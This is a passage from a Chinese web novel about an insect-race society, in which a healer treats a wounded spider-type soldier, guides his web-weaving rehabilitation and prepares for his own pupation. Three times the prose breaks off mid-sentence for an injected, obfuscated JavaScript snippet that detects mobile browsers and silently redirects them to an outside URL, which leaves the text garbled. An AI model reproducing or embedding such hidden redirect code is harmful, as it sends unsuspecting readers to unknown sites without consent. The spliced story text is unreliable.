【还在期待什么啊,一个废物。】 【……雌虫也就是这样的东西而已,啧。】 19. 星星 第十九章 西尔万操作着仪器,用轻飘飘的问询打断了他的思绪:“这两天还有出现肢体控制异常的情况吗?” 雌虫脑子里思考的东西再次回到了现实。 ……虽然在西尔万面前总是控制不住自己发散的思绪、一次又一次地陷入类似惊恐的情境,但似乎还是被他无知无觉(又或者蓄意打断)的次数更多一点? 他心中不期然地升起了这样的奇妙想法。不管是否是真的,在这一刻他居然没有感觉到什么抗拒。 艾利安觉得,被西尔万了解、乃至在某种程度上控制……并不是什么无法接受的事情。 “……有,三次,类似瘫痪症状。” “嗯。”西尔万点了点头,追问,“再具体一点。” “一次全身肌肉麻痹失去控制,两次双臂运动功能减退。”艾利安言语简洁,只是在叙述对象是自己时难免低落,勉强也是保持着艰难的平和。 桑 果然是上肢瘫痪情况重于下肢。西尔万往他手臂上又多贴了几个贴片,感觉自己补的课好像有点用,又问:“附肢还能放出来吗?” 不同于几乎完全退化掉虫族表征、即使有特征也只是在人形上增加而非改变的雄虫,雌虫还保有着相当程度的虫化能力。 在部分虫化时身体等级往往也会有一定上升、可能还会有助于一些异禀或者天赋的使用。 只不过虫化时的状态不一定完全和本来应有的虫类本体对应,比如说艾利安的附肢是从后背放出来的,而有一部分蜘蛛目会是下半身全部变成虫腹附肢。 这种可以部分虫化、甚至在某些情况下会无法控制自己虫化特征的特性,也是一部分雄虫厌恶的特征。 毕竟就和对超凡的追逐一样,虫族推崇的是人形和理性。 “不行,似乎是被下降的身体等级影响到了——我现在完全无法做到虫化。” 艾利安仿佛有些胆怯地和西尔万专注看着自己的目光相触、很快分离,随后便又慎重地补充了一句, “但是已经完成虫化的那一部分器官并没有出现退化。” 异禀或者天赋是可以将人形躯体上的某些器官反过来进行虫化的,比如说有一部分虫可以将自己的手完全异化成虫足,无法收回但更为强大。 “嗯,也正常……你的‘结网’能力有被影响吗?”西尔万并不意外对方已经进行了虫化恒定,“毕竟和精神力高度相关——还是说你是实体化的那类。” 艾利安是宝石种,在这次重伤之前已经开发出了异禀,和蛛网高度相关,强度已经比得上一般天枢序列三四的异禀。 不过关于他的资料里面,异禀只有结网这一项,可能是准备专攻这方面,也可能是没有报上来。 军部的管理严格其实并不体现在对所有虫能力的刨根问底上,艾利安这种级别的虫更是不可能主动公开自己的所有底牌。 军部所代表的主要是军事力量,而这并不等同于异常严格的、没有隐私存在的管理。 似乎是被再次贴上来的仪器冰了一下,相触的皮肤泛起红意的同时,艾利安的手指也轻轻一颤,不知何时起便一直注视着西尔万的目光都偏移些许,几乎羞耻的、本能的回避反应: “不是实体化……在精神力受损的时候,我的天枢雏形也随之完全碎裂。损及精神海……无法内视。” 天枢裔所拥有的天枢如果非要具象化形容的话,其实是一块由精神力凝聚而出、只存在于精神海之中的宝石,它的形态或者便是“宝石种”这个称呼的根源所在。 虫族的提升从头到尾都是淬炼自己的身体、淬炼自己的精神力,把自己变成一块闪闪发光的宝石。 而两者合称,异禀的状态其实也是和天枢一样映射在精神海之中的,“看不见”等于他已经失去了控制自己精神力内视的能力,除非精神海恢复,不然再无超凡的可能。 “不,我说的是你的本能。”西尔万觉得自己实在很有耐心,“精神网络之外,蜘蛛天生的结网能力。” 总不至于这么长一段时间里,他都完全没有尝试过自己的天赋能力吧? 就像之前提的那样,虫族向着完整的人形演化,到现在大部分都已经失去了完整的原型,只能显出部分虫形,所以不可能真的都能如蜜蜂般采蜜、蜘蛛般吐丝织网。 他们选择了更加完整的人形,也就失去那样高度特化、能够实现特定功能的器官。 但这部分本能也没有因为器官的退化、消失而完全失去,而是以精神力的方式继承了下来。 即使无法拥有特殊能力,可只要活着、有自我意志的虫,就定然有着最低F级的精神力,由此拟化对应的特化器官或者“工具”,可以将最基础的“天赋”付诸于现实。 若非如此,现在的虫族也不会有“分化”的说法,那本就是由精神力代替虫丝化茧、化蛹来实现的特殊转化。 最顶端的天枢裔支配着超脱凡俗的力量、俯视着其他虫族,但只有最底层虫族也能拥有的力量才能成为这个种族真正意义上在慢慢走向超凡的证明。 唯独这一点,西尔万无比确定。 ……所以他也觉得这个社会的进化方向真的很奇怪来着。 雌虫的神情空白了一秒:“……没有。” 今生的他确实没有尝试过——在这个漫长的、向着超凡进化的时代,所有虫种的非超凡都只是为超凡提供特质和原材料的存在,就连雌虫对雄虫的追逐又何尝不是一种对稳定超凡的渴望? 宝石种、异禀者、天枢裔,层层递进、甚至一样写在了纸面上的比雌雄之别更难以逾越的超凡“阶级”。 越是“超凡”越是向往,生物本能渴望着生命层次的迁跃,乃至于忽视了自己真正立足于世界的基础。 而艾利安,他的各方面能力确实足够出众、足够让他成为同龄虫中的佼佼者,或者也因为过去的经历有着一些特殊的思考。但本质上更多却依旧是这个社会中被“同化”的一员。 身体和精神上的痛苦让他在某种程度上“觉醒”,可只是短暂的一年时间,困囿于过分纯粹的痛苦的他只来得及看到这些就迎来了生命的终点。 前世的他在精神海重创、失去对精神力的完全控制能力之后,其实是有尝试过使用自己更为“根本”的织网能力的。 这对于园蛛来说就是和捕猎一样的生存技能,即使等级降低到B、精神力高度紊乱也不会完全失去。 他一样可以织网、捕猎,只是使用的精神力最后只是勉强代替了真正意义上的蛛丝、无法做到像曾经那样的“超凡”了而已。 他的身体控制能力大幅度下降,导致所织的网都变得混乱无序,同样的网需要耗费比以前强百倍的精力去完成,梗着一口气终于完成那一张网的艾利安只是进一步认识到了自己的虚弱,之后再也没去尝试过。 其他虫的言语行为打击只能说压上了最后一根稻草,真正选择退却不再去看的人还是他自己。 ——他织出来的网,连一只E级蜘蛛目都不如。 “我应该还是有结网的能力的……只要能吐丝、只要还能思考,蜘蛛就能结网……” 像是突然意识到了什么一直都摆在面前却没有被自己真正看见的东西,一直都压抑着自己情绪又完全无法控制自己思想的雌虫此刻几乎语无伦次, “只是、只是……一样,是残疾。” 是残疾,是残废。 就和肢体运动功能减退和完全麻痹之间的区别一样,前者当然要好一点、起码还有那么一点是被自己握在手中的。 但其实并没有多大差别。 有些事情完全做不到和做不到最好对艾利安来说是一样的,完全无法控制身体和即使控制了也无法达成目的都是对精神和身体的折磨,艰难地坚持着将事情完成到一半却因为一个无法自控的颤抖前功尽弃甚至可能是更打击虫的事情。 残疾就是残废,一般无二。 他再也无法织出一张完美的网,就好像他再也无法使用自己的精神力、无法做到过去那些再普通不过的、连一只平平无奇的蜘蛛都能做到的事情。 ……甚至连自己已然碎裂的、本来就只是一道模糊的影子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990958|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“天枢”都看不到,好像自己也成了一块完全碎裂的宝石。 身体和灵魂都是。 “好了,”说着,西尔万的手掌在艾利安的手腕上轻轻压了一压算作安抚,稳定的语调和吐露的信息再一次自然地牵开了他的注意力,雌虫那生理性的颤抖竟然也就这样被压了下来,“准备注射药剂。” 体检已经差不多完成了,这段时间的调养确实有点效果,即使是在刚才那样情绪激动的情况下,艾利安的数据居然也还不错——当然,只是相比刚刚被送到这里的时候。 反正注射药剂是没有问题的。 似乎是意识到艾利安的情绪不稳定,生怕他等会儿一个不小心浪费了这只好不容易调配出来的药剂,这次的注射是西尔万来完成的。 注射手法其实不难,但他还是做完了一整套流程,手指恰到好处地控制住艾利安的手腕,力道是克制的,内里却是完全强势不容抗拒的意思。 艾利安眼神空茫地看着尖锐的针头刺入皮肤、无温的诡谲液体融入身体却点燃起一片焚身之火。 过分灼烫却不知道什么时候已经被他熟悉的温度甚至给他带来了某种稳定感,太过习惯于解读对方又太多次从中读出了关怀的意味,以至于这一刻被控制被压制,也生不出多少抵触之情。 其实在意识到这一点的时候就应该排斥的吧,但是有些情绪被反复挑起又反复压制,不知道什么时候就已经感到了疲倦。 他可能是“喜欢”西尔万的。他模模糊糊地认识到了这样的现实。然后条件反射的抗议感有气无力。 可是,西尔万会需要吗? 西尔万仿佛在刚才的对话中已经对他失去了期待,注射完药剂、简单给伤口消了下毒便收拾起了器械——注射完药剂后的身体变化并不需要用到这些,今天的工作已经完成了。 “但你依旧可以做。”面前传来的声音让艾利安蓦然抬头。 低头工作的青年尤带倦容的脸上,神情平和到坦然的程度,以至于这些话不像是劝说不像是宽慰,而像是在诉说某种事实。 真正意义上的感同身受不会有虫有,雄虫只是接受事实,就和很久以前他同样接受了自己身上的缺陷接受了自己所有的不完全——然后去尝试改变一样。 “谁也不是从一开始就能织出一张完美的网的,你要因为无法使用精神力就把自己的天赋给舍弃吗?先是生命、是虫族,再是宝石种,不要忘记你的根源所在。” 在西尔万眼中,再如何“超凡”,依旧是从生命与自然之中孕育出来的奇迹——铸就“超凡”的根基,却是“平凡”的生命。 生命没有上限,所以有了“超凡”。 这是两世、三世的积累令他产生的思考。 西尔万明白这个社会如今的思想观念,也像自己面对雌雄之间的地位差异一样并不准备去改变这些,只是在面对自己的病人、病虫时多说了那么两句。 不是残疾、残废。 只是完全否定了自己。 一个直白过分的、自我安慰般的想法,完全否定自己其实也可以得到某种程度上的解脱—— 以前那样的环境中确实有必要存在的、自救想法,但现在却不能这样继续下去。 再次被打断了。西尔万并没有谴责他对自己天赋的忽视、似乎也没有因他的反应生出什么想法,只是在两句话后平静地给出了医生……药师的建议: “精神力和身体强度的等级问题在毒素解开之前不可能解决,你可以先复健一下蜘蛛的天赋。” “……我明白了。”冰冷燃烧着的液体还在身体里涌动,就和那些陌生的、明明应该抗拒却分明已经无法遏制在身体里在灵魂里滋生的感情一样。 灰发的雌虫注视着雄子的眼神那样浅淡却又那样专注,低哑的声音也空旷、仿佛能听到荒凉的回音,“……多谢。” 看到了……类似希望的东西。 ……吗? 他瞳中只是映出一颗闪闪发亮的星星。 或者也在他胸口里一蹦一跳……洒落着,无论如何无法抵抗的星辉。 20. 复健 第二十章 虽然说自己没空的时候让艾利安自力更生,但是这种重要的复健自然不能放任他自己去进行,确定艾利安是真的要捡起自己的织网能力之后,西尔万终于艰难地挤出了一点时间来看、以及指导他第一次复健。 对于西尔万来说,要找到能给艾利安使用的复健方案还是挺麻烦。 感觉从把艾利安接到家里来开始就在反复拓展自己的知识边界。 毕竟只是初步复健,也就不考虑指望这种难度算得上高的工作了,先从凝聚精神力器官、吐出质量稳定的丝开始。 而在西尔万专注目光下凝聚精神力的艾利安几乎要颤抖起来了——分辨不清是兴奋还是羞耻,可能都有吧,在自问时恍然大悟。 西尔万很学术,他刚刚补完一些蜘蛛目的常识:“从凝聚精神力开始就有阻碍?” “……只是精神力控制难度提升了。”艾利安轻声说。 他依旧是垂着眼的,似乎专注于手中那一团精神力,但是手指的颤抖实在不像是因为精神力而费力,好像被西尔万目光触及的地方就会染上红色。 可终于发现这一点的西尔万觉得自己的注视还不至于实质化到这个程度,居然能产生这么大的影响。 至于感情因素……这完全不在他的思考范围内,起码在现在这个情况下不会进入他的思考范围。 毕竟艾利安之前表达出来的抵触那么鲜明,总不可能只是过了几天的功夫就大变样子了吧? “我的注视会令你感到紧张吗?”西尔万直言不讳地发问,“还是说你本来的控制水平就是现在这个样子?” “……有些,紧张。” 承认这个事实让艾利安有些羞耻地垂下了眼,但想到对方能听到自己的坦白又有一种莫名的兴奋。 其实只是一个小小的情绪碎片而已,但这种程度的分享和坦露对他来说就仿佛已经过界了。好像是比在对方面前赤-裸身体还要难以接受的事情。 “精度没有太大差距,只是很久没有调用精神力了,速度有点慢……” “太久不用,已经完全生疏了。”精神力最基础的运用都变成这个样子,未来要恢复异禀更是难上加难,“考虑到你的身体情况,这里的训练场你也可以稍微使用一下,不然可能会退化得更加严重。” 毒素损害的是神经,身体等级的跌落意味着能量下降,倒不至于造成肌肉萎缩。 可如果一直不使用的话,也不是没有可能发生这种情况。 “……好的。”雌虫顺从地应下,仿佛为了专心一般把目光又移回了指尖——在那里,精神力渲染的光辉中有细细的蛛丝颤颤巍巍蔓延而出。 但他还是在问,“您会来看吗?” 手部是最适合释放精神力的地方。以前艾利安倒是能做到随处释放精神力,但现在的话,还是在这个精度最高的地方进行控制稳定性比较强。 这是正常、正确的选择,只不过……引来了西尔万过分专注的注视。 哪怕自己甚至没有去看西尔万,可还是克制不住地颤抖起来。 ……虽然莫名羞耻,但艾利安发现自己其实很喜欢西尔万用这种专注的眼神看着自己。 稳定的、没有情绪又因常有的疲倦而显得有气无力的柔软,并不是他条件反射想要排斥的、带着恶意的目光。 所以脑子再次一片混乱混沌,他自己都不知道自己怎么会问出这样的话。 居然真的问出来了。 “身体方面的训练吗?”西尔万闻言甚至有点欣慰,欣慰艾利安能够问出自己想要知道的事情。 对方的逆来顺受在大多数时候都很省心,但是一想到心理问题的可能性就让他有点头痛了。幸好现在看来还是有那么一点主动性的,不至于完全没救。 但不管他对这段言语的解读有没有出问题,他都是不可能去的。 “不太行,我这段时间很忙——不过塞安会盯着,只是身体条件保持的话,不会出什么意外。” 精神力也就算了,身体方面的问题真没必要那么费心。 “……这段时间,实在是麻烦您了。” 西尔万不为所动:“蛛丝断了。重新来一遍,你的专注力呢?——收束思想。” 做的是精神力这种非常需要专注性的复健,脑子里都在乱想些什么。 非要赶在这个时候道谢吗?还是说又在刻意转移自己的注意力? 西尔万本来平静理性的语气不自觉冷硬了些许,即使很快反应过来面前的是个病虫可能有无法自控的地方也没有要调整自己的意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990959|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生病的情况下,有很多错误都是可以接受的,但也是必须要指出的。 “抱歉。”艾利安的身体僵硬了一下,道歉的声音低了一个音调,莫名带着点哑,因为确实是事实所以完全无法辩解,“……我走神了。” “调整呼吸。”确定对方真的有意识到错误,西尔万觉得靠艾利安自己可能真的很难稳住,干脆靠近了一点、从头走一遍流程,站在了艾利安身旁、把自己的注意力也放到呼吸上,“听我的呼吸。” 跟我一起。 艾利安的身体又僵住了。但这次是完全不同的原因。 青年的手抬起又放下,艾利安意识到西尔万本来甚至是想要牵着自己的手去感知的,不过考虑到他之前的反应又放弃了。 只是,现在这个距离也已经足够他过分清晰地听清对方的呼吸声。一根无形的丝线将他的喉咙和他的心脏相连。 “听清了吗?感知。也听自己的,只想着呼吸。”西尔万如此笃定地说着,从胸腔开始共鸣,空气在声带带出轻盈的颤抖,每一个简短的气音都如此曼妙。 艾利安只觉耳膜发热,专注去听的时候,对方连声音都有温度,仿佛轻柔地抚摸着她的耳膜、他的心脏。 在这一刻,他前所未有地渴望起了和对方的接触。 “……我知道了。” 近在耳边的、仿佛还带着西尔万身体温度的呼吸声。 艾利安的眼睛始终落在自己指尖的那团精神力光芒上,过分缓慢地眨动着,仿佛生怕错过了某个细节。 余光可以看见自己的头发不听话地飘了过去,像是超脱理智地被西尔万吸引,想要和他发丝交缠、嗅一嗅他颈间的浅淡香气。 不堪的、不敬的行为。 但是当灰发再次触及那片白时,他眼中恍惚又浮现出了红。 恶心的、粘腻的……但似乎已经无法与自己分割的感情。 细弱的蛛丝裹缠心脏,令每一次心跳都带出隐痛。 血液流淌而过的地方一阵阵发痒,腥甜近乎苦涩的味道在舌尖跳舞。 他的呼吸逐渐放轻,完全与耳边的节奏嵌合。 ——有那么一个漫长的瞬间,他确实是完全专注的。 ……在西尔万的呼吸声中,艾利安无从抵抗地沉溺。 21. 化蛹 第二十一章 第一次复健西尔万在一旁看着、大概进行了一些引导,而后面艾利安确实抽出了很长的时间去尝试再次使用、拾起自己的织网能力。 而以西尔万繁忙,这种引导也就只会出现这么一次了,他转身又投入到了自己深不见底的工作、研究项目、学习内容以及要批的论文之中,几乎完全将自己刚到手没多久的老婆抛诸脑后。 虽然其实也不是什么真正意义上的老婆。他们现在这个情况最多算是协议结婚,只是离婚的那一天实在是遥遥无期,甚至可能都不会离婚。 ……从这个角度来看,他拿的剧本真的有点像主角攻了。 【他的网看起来像是喝醉了之后织的。】 还听从他命令关注了艾利安恢复、复健情况的塞安把几张图像打在屏幕上,这么短的时间里面,艾利安的复健进度就已经到了能够自己织一张完整的网的程度,从另一个层面上说明了他的能力损失并没有他想象的那么严重——当然这里肯定也有西尔万给出的药剂的功劳。 【不过只从捕猎成功率上看,和“正常的网”并未相差多少——前提是忽视他的结网地点。】 然而蜘蛛的结网捕猎行为中,网的质量和结网地点一样重要,根本无法忽略。 塞安在这件事情上用了一点措辞手段,相当微妙地表达了自己的“倾向”。 艾利安觉得塞安的智能程度并不符合当前虫族的最高水平,但其实只是这位智能没有把心思放在他的身上而已—— 就和虫也会有精力的差别一样,智能也会把算力倾注在自己更在意的存在身上。 “他结网本来也不是为了捕猎,没怎么选址是正常的。” 手上的事情忙得告一段落才想起雌虫,西尔万对蛛网结构并没有什么研究,只是看了塞安提供的几张图片就直接带过,对塞安的言语也没什么特殊感觉, “而且也不是在自然环境中结的网。” 虫族进化到现在这个程度,很多原生的、属于“虫”的习性都发生了变化,向着“人”的方向靠近。 真的按照一般动物捕猎的收益计算方式来算,蜘蛛目虫族结网除非能捕获体型类似的虫族或动物不然无法回本,而因为体型差异(自然蜘蛛和虫族)结网捕猎的方式也要发生很大改变。 再加上随着科技的发展,现在的虫族已经不用把大半精力放在喂饱自己以及后代上,捕猎这种行为自然在一定程度上被优化掉了。 在这种情况下,原·求生技能转化成了一种功能性能力,担任着类似劣化异禀的角色,进一步开发之后往往也能够成为一项独立异禀。 顺带一提,随着纯粹捕猎行为的被优化,虫族原本各异的进食方式也发生了一定程度的统一,现在的饮食以营养液为主,高端点的、大多数雄虫会食用类似人类的料理。 两者在表面上并无优劣之别,只是在进食效率、价格、口味上做出了差分,以及极少数的超凡食物无法以制成营养液的方式被吸收、会带来极大的损耗。 自然界蜘蛛结网要考虑的东西当然很多,具体地点、周边环境、空气湿度、捕猎对象等等等等,但艾利安结网根本不是捕猎,就是单纯的复健行为,倒也不用担心。 毕竟除了最本质的结网行为本身,结合各方面因素找合适的结网位置主要还是靠脑子。 精神力连降三阶或者直达E级才会出现精神力严重受损牵连智力的情况,艾利安的情况确实悲惨,却不是惨在这个方向。 【精神力的回收效率很低。】塞安层层递进。 自然界中的蜘蛛结网后能通过食用的方式回收蛛网中约80%的蛋白质成分,蜘蛛目虫族自然也有着相似的机制: 用精神力凝成蛛丝结网,在蛛网完成了自己应尽的任务之后回收大部分未被污染的精神力蛛丝,有折损但不多。 而艾利安大概是因为精神力紊乱的关系,虽然依旧能回收精神力蛛丝,但是效率很低,可能是精神力一开始的结构就不对、质量太差。 如果真的是这样的话,他蛛丝的强度、韧性估计也不好。 “收集一些他在不同状态下凝结成的精神力蛛丝进行测试,我有点好奇正常情况下的精神力紊乱会用什么方式展现。” 毕竟到目前精神的问题都只是身体问题的折射,西尔万其实还是比较关注对方的身体,但是既然艾利安已经开始练习了,那观测一下精神力的情况也不错。 “不过看他这个样子,上次的改造药物应该已经起到了应有的效果。” 神经系统方面的方面的问题非常影响虫对整个身体的掌控程度,如果他真的像之前那个频率失去控制能力的话,根本不可能织完一张网。 【是。织网过程中有动作放慢的片段,通过对肌肉走向和运动的观察,可以判断为是在以疼痛对抗身体失控。】 痛苦、眩晕、以及大量精神力消耗,这是艾利安夺回自己身体支配能力的代价。 说到这个,西尔万又有了点想法:“那顺便再去问一下他对我的药物的感受、具体的疼痛程度和对抗能力吧。” 塞安难得对阁下的计划表示了不赞同:【按照您最近的身体数据,您的化蛹周期即将到,不太适合进行这样的精力消耗,还请等到这件事情结束之后再去沟通吧。】 如果不是出现了西尔万这么一个特殊存在,每次手头的事情完成之后,西尔万都应该是会简单检查自己的状态、估算下离下一次的化蛹时间的距离的—— 疲惫变成常态、完全被适应后,不特意关注甚至都不会意识到自己身体的情况,处于专注状态中的西尔万非常擅长忽视包括自己身体感知在内的其他影响因素,所以只能通过这种规律性的自查来保证不出现其他意外。 “嗯?化蛹的时间也要到了吗?”西尔万愣了一下,被提醒之后所有在之前专注中被强行无视的疲倦都缓慢而不容抗拒地浮现了出来,终于从当前的工作中抽身而出。 当然,更重要的是他看到了塞安调取出来的、自己最近的化蛹周期记录表以及身体数据。 “这么算起来最近的周期居然还算稳定……间断时间倒是变短了,看来我的提升不小。” 昆虫的变态发育本质上是为了提升并改变自己的各方面身体结构、令其适应不同的需求,便如之前所提到的,化蛹的行为本身与一次或二次分化高度相关,是被压缩成一个短暂过程的进化。 而多次化蛹则是人形与虫形融合的身体无法保证自己能够度过这一整次巨变,选择将其分解分割为多个小的进化来进行,最后在确定虫族个体已经进化到这具身体的顶端的时候完成二次分化,是辅助虫族个体更为安全地抵达超凡的方式。 对于成长周期长得过分的翡翠种来说,这也是缩短他们发育期的一种方式。 不过对于西尔万来说,这又有一点小小的变化。 在身为翡翠种的同时,他似乎也受到了一部分第一世种族的影响,化蛹在他前世的虫族对应虫目中有一个既定的称呼,“蜕化”。 不同于为了保证身体精神不在一次过度剧烈的进化中崩溃而分割成的多次化蛹,蜕化是一种类似自适应升级的、让虫族突破当前上限的不定式进化。 只要能力有所提升、越过了当前状态的界限,蜕化就会自行到来,让身体和精神进一步向更适合这个能力更强大的方向蜕变。 就像是不同“职业”不同“级别”有着不同的属性和技能限制,而升级和“转职”可以打破这个限制。 化蛹的上限钉死、只是辅助进化加快进程的方式,蜕化却是在提升上限、可以等同为一次较浅的升格,同样是进化,呈现出来的效果却截然相反。 这里有一点不得不说,蜕化状态其实是有上限的,一只虫一生最多只能经历九次的蜕化。 只是要抵达自己目前的极限本来就不是一件简单的事情,很多虫不是抵达了自己能进行的蜕化次数的上限,而是无法抵达自己的上限。 所以那个世界的虫族往往会用几次蜕化的方式来划分拥有蜕化状态的类目的强度, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990960|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如前世的西尔万就是九次蜕化、罕见地完全进化为当前类目最强状态的虫。 他是货真价实的天才。 这一世的西尔万最开始的化蛹其实还是正常的,他只是上限比一般虫族高,不过在虫族化蛹周期阶段极短的情况下,最多也不过是作为一个天赋极强的翡翠种延缓发育、在三四十岁的时候才能进入二次分化而已。 这件事本身对于对成年并没有什么期待的他来说并不是一件坏事——毕竟卡在这个中间段没有什么实质性损失。 然而,在第七次化蛹之后,他就发现自己身上来自前世遗留的某些特质在逐渐显化,化蛹和蜕化好像出现了全方面的缓慢融合。 这两者的行为确实非常相似,都是需要凝固化蛹、然后破蛹而出的进化行为,或者也正是这个原因导致两者之间出现了求同存异的情况: “化蛹-破茧”这个过程重叠融合,两者的效果也发生了融合。 现在的他所进行的化蛹或者可以称之为“蝶变”,兼具了化蛹本身让主体更加接近极限的特性,以及蜕化提升主体极限的特性,甚至还带上了一点重塑身体、褪去废物的效果。 融合后的结果,用直观一点的说法来形容,他本来的强度是1,强度的上限是10,然后每次化蛹会让他提升1个强度点,而蜕化又会让他的上限提升10%……没错,循环了。 即使化蛹提升的强度点会随着他本人的强度提升而提升、除了化蛹以外他本人也会提升自己(不然无法触发蜕化), 可当前强度依旧永远赶不上上限、达到那个二次分化的重点,与化蛹这种目的截然相反的进化发生了融合的蜕化似乎也失去了九次的上限限制,卡了一个很奇怪的bug。 在这个bug面前,周期缩短、蝶变所经历的痛苦也融合、每次蝶变提升幅度较少、往往提升到正常蜕化所需强度的十分之一时就会触发蝶变——这些已经不能算是缺点了,而是不付出不安心的代价。 不过另外还有一个不知道能不能算是代价的代价,就是在没有通过蜕变到达当前的极限之前,以这个世界虫族的特性,他是不会进入二次分化状态的。 也就是无法完全成年、以二次分化的方式完全进化自己的种族——不过这对于力量无上限来说依旧不是什么大事。 而现在,西尔万所指的就是这个,关于他并不稳定、实际上是反映着本人力量提升程度的蝶变周期。 随着西尔万本人能力的提升,他蝶变的周期正在变得越来越长,到目前为止间隔时间最长的是三个月,而一开始最短的时候甚至只需要两到三周。 这意味着他本人能力的提升速度进入了一个放缓的平台瓶颈期,以现在的工作学习内容和强度无法快速提升。 这算不上什么大问题,毕竟西尔万其实不急着提升自己,毕竟他现在拥有的力量已经足够他在这个世界上肆无忌惮了。 不过能继续提升依旧不是什么坏事,反正他有工作工作没工作看看书种种花,从来都是减慢速度而非停止进步。 因为本人有能力和兴趣、所有工作最后成果都是在自己手中,也不会有消极怠工的想法。 但在自我提升方面,他这种“一旦开启某个事项就会长期专注、有惯性一样不会轻易中断”的习惯实在不太好。 因为本来就不怎么会去注意自己身体感官的他在专注状态下更是不会去特意关注自己的身体感官,仿佛什么奇怪的单线程生物,往往需要塞安的提醒才能发现自己应该困了饿了。 ——主要是对身体不好。 至于现在,已经被成功打断了工作进程的西尔万慢吞吞打了个哈欠:“算了,先睡觉,剩下的事情等这次化蛹结束之后再说吧。” 塞安兢兢业业地做好生活助理:【请先用餐再休眠。】 确实忘记了进食的西尔万:…… “哦。” 不想吃饭。叹气。 西尔万再次开始思考营养液代替进食的可能性……不然下次真用“百药枢机”试试?